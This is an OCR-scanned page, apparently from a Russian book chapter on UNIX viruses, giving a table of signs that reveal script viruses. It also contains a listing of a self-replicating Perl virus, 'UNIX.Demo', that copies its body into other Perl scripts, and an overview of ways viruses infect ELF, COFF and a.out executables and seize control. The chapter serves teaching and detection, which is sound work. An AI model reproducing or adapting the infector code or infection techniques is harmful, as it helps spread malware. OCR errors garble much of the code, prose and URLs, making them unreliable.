8(495)909-90-01
8(964)644-46-00
pro@sio.su
Главная
Системы видеонаблюдения
Охранная сигнализация
Пожарная сигнализация
Система пожаротушения
Система контроля удаленного доступа
Оповещение и эвакуация
Контроль периметра
Система домофонии
Парковочные системы
Проектирование слаботочных сетей
Аварийный
контроль
Раздел: Документация

0 ... 15 16 17 18 19 20 21 ... 102

58

Глава 2. Вирусы в UNIX, или Гибель ТитанИКа

Таблица 2.1 {продолжение)

Признак

Комментарии

бгеер find

$0

head

tail

chmod +x

"\xAA\xBB\xCC..." "Aj#9KlRzS" vir. virus, virii. infect...

Используются для определения типа файла-жертвы и поиска отметки о зараженности (дабы ненароком не заразить повторно); к сожалению, достаточным признаком наличия вируса служить не может, ибо часто используется в «честных» программах

Характерный признак саморазмножающейся программы (а зачем еще честному скрипту знать свой полный путь?)

Используется для определения типа файла-жертвы и извлечения своего тела из файла-носителя из начала скрипта

Используется для извлечения своего тела из конца файла-носителя

Если применяется к динамически создаваемому файлу, с высокой степенью вероятности свидетельствует о наличии вируса (причем ключ +х может быть так или иначе замаскирован.)

Если служит для занесения в переменную программного кода, является характерным признаком вируса (и полиморфного в том числе)

Характерный признак зашифрованного вируса

Характерный признак вируса, хотя может быть и просто шуткой

Листинг 2.4. Ключевой фрагмент Perl-вируса UNIX.Demo

#!/usr/bin/per!

#PerlDemo

open(File.$0):

!?Virus=<File>:

(aVims=@V-iriis[C...27]:

close(Fi"Ie):

foreach SFileName (.<*>)

if ((-r SFlleKame)

-w SFileName) && (-f SFileName))

open(F;"!e. "SFileNaiie"):

@ienp=<File>:

c"iose(File):

if («аГагоШ =~ "PerlDemo") or (@Тсшр[2] =- "PerlDemo")) {

if ((PTemp[0] — "perl") or «аТетрШ =~ "perl")) {

open(File. ">$FileName"): print File PVirus: print F-Pe @Temp:


close (File);

ЭЛЬФЫ В ЗАПОВЕДНОМ ЛЕСУ

За всю историю существования UNIX было предложено множество форматов двоичных исполняемых файлов, однако к настоящему моменту в более или менее употребляемом виде сохранились лишь три из них: a.out, COFF и ELF. формат a.out (Assembler and link editor OUTput files) — самый простой и наиболее древний из трех перечисленных, появился еще во времена господства PDP-11 и VAX. Он состоит из трех сегментов; .text (сегмента кода), .data (сегмента инициализированных данных) и .bss (сегмента неинициализированных данных), — двух таблиц перемещаемых элементов (по одной для сегментов кода и данных), таблицы символов, содержащей адреса экспортируемых/импортируемых функций, и таблицы строк, содержащей имена последних. К настоящему моменту формат a.out считается устаревшим и практически не используется. Краткое, но вполне достаточное для его освоения руководство содержится в mane Free BSD. Также рекомендуется изучить включаемый файл a.out.h, входящий в комплект поставки любого UNIX-компилятора.

Формат COFF (Common Object File Fo?mat) — прямой наследник a.out — представляет собой существенно усовершенствованную и доработанную версию последнего. В нем появилось множество новых секций, изменился формат заголовка (и втом числе появилось поле длины, позволяющее вирусу вклиниваться между заголовком и первой секцией файла), все секции получили возможность проецироваться по любому адресу виртуальной памяти (для вирусов, внедряющихся в начало и/или середину файла, это актуально) и т. д. Формат COFF широко распространен в мире Windows NT (РЕ-файлы представляют собой слегка модифицированный COFF), но в современных UNIX-системах в качестве исполняемых файлов он практически не используется, отдавая дань предпочтения формату ELF, а вот как объективный — идет нарасхват.

Формат ELF (Executable and Linkable Format, хотя не исключено, что формат сначала получил благозвучное название, под которое потом подбиралась соответствующая аббревиатура, — среди UNIX-разработчиков всегда было много тол-киенистов) очень похож на COFF и фактически является его разновидностью, спроектированной для обеспечения совместимости с 32- и 64-разрядными архитектурами. В настоящее время — это основной формат исполняемых файлов в системах семейства UNIX. Не то чтобы он всех сильно устраивал (та же Free BSD сопротивлялась нашествию Эльфов, как могла, но в версии 3.0 была вынуждена объявить ELF-форматом, используемый но умолчанию, поскольку последние версии популярного компилятора GNU С древних форматов уже не поддержива-К)т). но ELF — это общепризнанный стандарт, с которым приходится считаться, х°тим мы того или нет. Поэтому в настоящей главе речь главным образом пойдет


о нем. Для эффективной борьбы с вирусами вы должны изучить ELF-фор. всех подробностях. Вот два хороших руководства на эту тему: http://www.ibjhjjdT

pub/historic-linux/ftp-archives/sunsite.unc.edu/Nov-06-1994/GCC/ELF.doc t** («Executable and Linkable Format — Portable Format Specification*) циГ*

www.nai.com/common/media/vil/pdf/mvanvoers VB conf%202000.pdf («LinuxVjril P:" ELF File Format*).

He секрет, что у операционных систем Windows NT и UNIX много общего и ханизм заражения ELF/COFF/a.out-файлов с высоты птичьего полета ничем"6" отличается от механизма заражения форматов семейства new-exe. Тем не нее, при всем поверхностном сходстве между ними есть и различия.

Существует по меньшей мере три принципиально различных способа зарзде ния файлов, распространяемых в формате a.out:

1.«Поглощение» оригинального файла с последующей его записью в tmp и уда-лением после завершения выполнения (или «ручная» загрузка фанла-жерт-вы как вариант).

2.Расширение последней секции файла и дозапись своего тела в ее конец.

3.Сжатие части оригинального файла и внедрение своего тела на освободившееся место.

Переход на файлы форматов ELF или C0FF добавляет еще четыре:

1.Расширение кодовой секции файла и внедрение своего тела на освободившееся место.

2.Сдвиг кодовой секции вниз с последующей записью своего тела в ее начаю.

3.Создание своей собственной секции в начале, середине или конце файла.

4.Внедрение между файлом и заголовком.

Внедрившись в файл, вирус должен перехватить на себя управление, что ооыч но осуществляется следующими путями:

•созданием собственного заголовка и собственного сегмента кода/данные перекрывающего уже существующий;

•коррекцией точки входа в заголовке файла-жертвы;

на с""

•внедрением в исполняемый код файла-жертвы команды перехода тело;

•модификацией таблицы импорта (в терминологии a.out — таблицы лов) для подмены функций, что особенно актуально для Stealth-вир.

Всем этим махинациям (кроме приема с «поглощением») очень труД110аеВ ся незамеченными, и факт заражения в подавляющем большинстве - IlC.

удается определить простым визуальным просмотром дизассемблерно тинга анализируемого файла. Подробнее об этом мы поговорим чуточку а пока обратим свое внимание на механизмы системных вызовов, исп° мые вирусами для поддержания своей жизнедеятельности. Для нормального функционирования вирусу необходимы но ме»Ы"сИ й четыре основных функции для работы с файлами (как то: открытие/за!



0 ... 15 16 17 18 19 20 21 ... 102